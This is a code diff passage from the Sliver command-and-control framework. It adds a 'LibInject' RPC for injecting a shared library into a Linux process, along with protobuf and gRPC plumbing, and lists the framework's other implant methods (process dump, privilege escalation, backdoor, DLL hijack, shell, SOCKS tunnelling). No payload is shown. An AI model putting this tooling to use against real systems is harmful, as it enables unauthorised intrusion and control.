116, // 171: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
117, // 172: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
117, // 173: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
118, // 174: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
119, // 175: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
120, // 176: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
121, // 177: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
122, // 178: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
123, // 179: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
124, // 180: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
125, // 181: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
126, // 182: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
127, // 183: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
127, // 184: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
127, // 185: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
128, // 186: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
129, // 187: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
130, // 188: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
130, // 189: rpcpb.SliverRPC.ExecuteToken:output_type -> sliverpb.Execute
131, // 190: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
132, // 191: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
133, // 192: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
134, // 193: rpcpb.SliverRPC.NamedPipes:output_type -> sliverpb.NamedPipes
135, // 194: rpcpb.SliverRPC.TCPListener:output_type -> sliverpb.TCPPivot
136, // 195: rpcpb.SliverRPC.ListPivots:output_type -> sliverpb.PivotList
137, // 196: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
137, // 197: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
137, // 198: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
138, // 199: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
139, // 200: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
140, // 201: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
141, // 202: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
142, // 203: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
143, // 204: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
144, // 205: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
145, // 206: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
146, // 207: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
147, // 208: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
148, // 209: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
149, // 210: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
150, // 211: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
151, // 212: rpcpb.SliverRPC.LibInject:output_type -> sliverpb.LibInject
70, // 213: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
152, // 214: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
153, // 215: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
154, // 216: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
155, // 217: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
155, // 218: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
156, // 219: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
156, // 220: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
157, // 221: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
158, // 222: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
159, // 223: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
160, // 224: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
82, // 225: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
0, // 226: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
83, // 227: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
84, // 228: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
0, // 229: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
85, // 230: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
161, // 231: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
116, // [116:232] is the sub-list for method output_type
0, // [0:116] is the sub-list for method input_type
0, // [0:0] is the sub-list for extension type_name
0, // [0:0] is the sub-list for extension extendee
0, // [0:0] is the sub-list for field type_name
+1
View File
@@ -132,6 +132,7 @@ service SliverRPC {
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
rpc HijackDLL(clientpb.DllHijackReq) returns (clientpb.DllHijack);
rpc GetPrivs(sliverpb.GetPrivsReq) returns (sliverpb.GetPrivs);
rpc LibInject(sliverpb.LibInjectReq) returns (sliverpb.LibInject);
// Beacon only commands
rpc OpenSession(sliverpb.OpenSession) returns (sliverpb.OpenSession);
+36
View File
@@ -131,6 +131,7 @@ type SliverRPCClient interface {
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error)
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
LibInject(ctx context.Context, in *sliverpb.LibInjectReq, opts ...grpc.CallOption) (*sliverpb.LibInject, error)
// Beacon only commands
OpenSession(ctx context.Context, in *sliverpb.OpenSession, opts ...grpc.CallOption) (*sliverpb.OpenSession, error)
// Extensions
@@ -1031,6 +1032,15 @@ func (c *sliverRPCClient) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq
return out, nil
}
func (c *sliverRPCClient) LibInject(ctx context.Context, in *sliverpb.LibInjectReq, opts ...grpc.CallOption) (*sliverpb.LibInject, error) {
out := new(sliverpb.LibInject)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/LibInject", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) OpenSession(ctx context.Context, in *sliverpb.OpenSession, opts ...grpc.CallOption) (*sliverpb.OpenSession, error) {
out := new(sliverpb.OpenSession)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/OpenSession", in, out, opts...)
@@ -1383,6 +1393,7 @@ type SliverRPCServer interface {
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error)
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
LibInject(context.Context, *sliverpb.LibInjectReq) (*sliverpb.LibInject, error)
// Beacon only commands
OpenSession(context.Context, *sliverpb.OpenSession) (*sliverpb.OpenSession, error)
// Extensions
@@ -1704,6 +1715,9 @@ func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *clientpb.DllHija
func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
return nil, status.Errorf(codes.Unimplemented, "method GetPrivs not implemented")
}
func (UnimplementedSliverRPCServer) LibInject(context.Context, *sliverpb.LibInjectReq) (*sliverpb.LibInject, error) {
return nil, status.Errorf(codes.Unimplemented, "method LibInject not implemented")
}
func (UnimplementedSliverRPCServer) OpenSession(context.Context, *sliverpb.OpenSession) (*sliverpb.OpenSession, error) {
return nil, status.Errorf(codes.Unimplemented, "method OpenSession not implemented")
}
@@ -3502,6 +3516,24 @@ func _SliverRPC_GetPrivs_Handler(srv interface{}, ctx context.Context, dec func(
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_LibInject_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.LibInjectReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).LibInject(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/LibInject",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).LibInject(ctx, req.(*sliverpb.LibInjectReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_OpenSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.OpenSession)
if err := dec(in); err != nil {
@@ -4254,6 +4286,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "GetPrivs",
Handler: _SliverRPC_GetPrivs_Handler,
},
{
MethodName: "LibInject",
Handler: _SliverRPC_LibInject_Handler,
},
{
MethodName: "OpenSession",
Handler: _SliverRPC_OpenSession_Handler,
+5 -1
View File
@@ -270,6 +270,9 @@ const (
MsgOpenSession
// MsgCloseSession - Close the active session
MsgCloseSession
// MsgLibInjectReq - Inject a shared library into a Linux process
MsgLibInjectReq
)
// Constants to replace enums
@@ -513,7 +516,8 @@ func MsgNumber(request proto.Message) uint32 {
return MsgOpenSession
case *CloseSession:
return MsgCloseSession
case *LibInjectReq:
return MsgLibInjectReq
}
return uint32(0)
File diff suppressed because it is too large. Load diff
+12 -2
View File
@@ -380,8 +380,8 @@ message ExecuteTokenReq {
message Execute {
uint32 Status = 1;
string Stdout = 2;
string Stderr = 3;
bytes Stdout = 2;
bytes Stderr = 3;
uint32 Pid = 4;
commonpb.Response Response = 9;
@@ -627,6 +627,16 @@ message RegistryValuesList {
commonpb.Response Response = 9;
}
message LibInjectReq {
uint64 Pid = 1;
bytes Data = 2;
commonpb.Request Request = 9;
}
message LibInject {
commonpb.Response Response = 9;
}
// Tunnel - Tunnel related messages
message Tunnel {
uint64 TunnelID = 8 [jstype = JS_STRING];
+4 -4
View File
@@ -589,10 +589,10 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request)
case <-req.Context().Done():
httpLog.Debug("Poll client hang up")
return
case <-time.After(s.getPollTimeout()):
httpLog.Debug("Poll time out")
resp.WriteHeader(http.StatusNoContent)
resp.Write([]byte{})
// case <-time.After(s.getPollTimeout()):
// httpLog.Debug("Poll time out")
// resp.WriteHeader(http.StatusNoContent)
// resp.Write([]byte{})
}
}
+5 -5
View File
@@ -235,23 +235,23 @@ func generateCertificate(caType string, subject pkix.Name, isCA bool, isClient b
}
// Sign certificate or self-sign if CA
var err error
var certErr error
var derBytes []byte
if isCA {
certsLog.Debugf("Certificate is an AUTHORITY")
template.IsCA = true
template.KeyUsage |= x509.KeyUsageCertSign
derBytes, err = x509.CreateCertificate(rand.Reader, &template, &template, publicKey(privateKey), privateKey)
derBytes, certErr = x509.CreateCertificate(rand.Reader, &template, &template, publicKey(privateKey), privateKey)
} else {
caCert, caKey, err := GetCertificateAuthority(caType) // Sign the new certificate with our CA
if err != nil {
certsLog.Fatalf("Invalid ca type (%s): %v", caType, err)
}
derBytes, err = x509.CreateCertificate(rand.Reader, &template, caCert, publicKey(privateKey), caKey)
derBytes, certErr = x509.CreateCertificate(rand.Reader, &template, caCert, publicKey(privateKey), caKey)
}
if err != nil {
if certErr != nil {
// We maybe don't want this to be fatal, but it should basically never happen afaik
certsLog.Fatalf("Failed to create certificate: %s", err)
certsLog.Fatalf("Failed to create certificate: %s", certErr)
}
// Encode certificate and key
-1
View File
@@ -118,7 +118,6 @@ func (s *Session) ToProtobuf() *clientpb.Session {
IsDead: s.IsDead(),
ReconnectInterval: s.ReconnectInterval,
ProxyURL: s.ProxyURL,
PollTimeout: s.PollTimeout,
Burned: s.Burned,
// ConfigID: s.ConfigID,
}
+29 -1
View File
@@ -204,7 +204,7 @@ func (rpc *Server) SpawnDll(ctx context.Context, req *sliverpb.InvokeSpawnDllReq
} else {
beacon, err = db.BeaconByID(req.Request.BeaconID)
if err != nil {
msfLog.Errorf("%s", err)
tasksLog.Errorf("%s", err)
return nil, ErrDatabaseFailure
}
if beacon == nil {
@@ -232,6 +232,34 @@ func (rpc *Server) SpawnDll(ctx context.Context, req *sliverpb.InvokeSpawnDllReq
return resp, nil
}
func (rpc *Server) LibInject(ctx context.Context, req *sliverpb.LibInjectReq) (*sliverpb.LibInject, error) {
var session *core.Session
var beacon *models.Beacon
var err error
if !req.Request.Async {
session = core.Sessions.Get(req.Request.SessionID)
if session == nil {
return nil, ErrInvalidSessionID
}
} else {
beacon, err = db.BeaconByID(req.Request.BeaconID)
if err != nil {
tasksLog.Errorf("%s", err)
return nil, ErrDatabaseFailure
}
if beacon == nil {
return nil, ErrInvalidBeaconID
}
}
resp := &sliverpb.LibInject{Response: &commonpb.Response{}}
err = rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
func getOS(session *core.Session, beacon *models.Beacon) string {
if session != nil {
return session.OS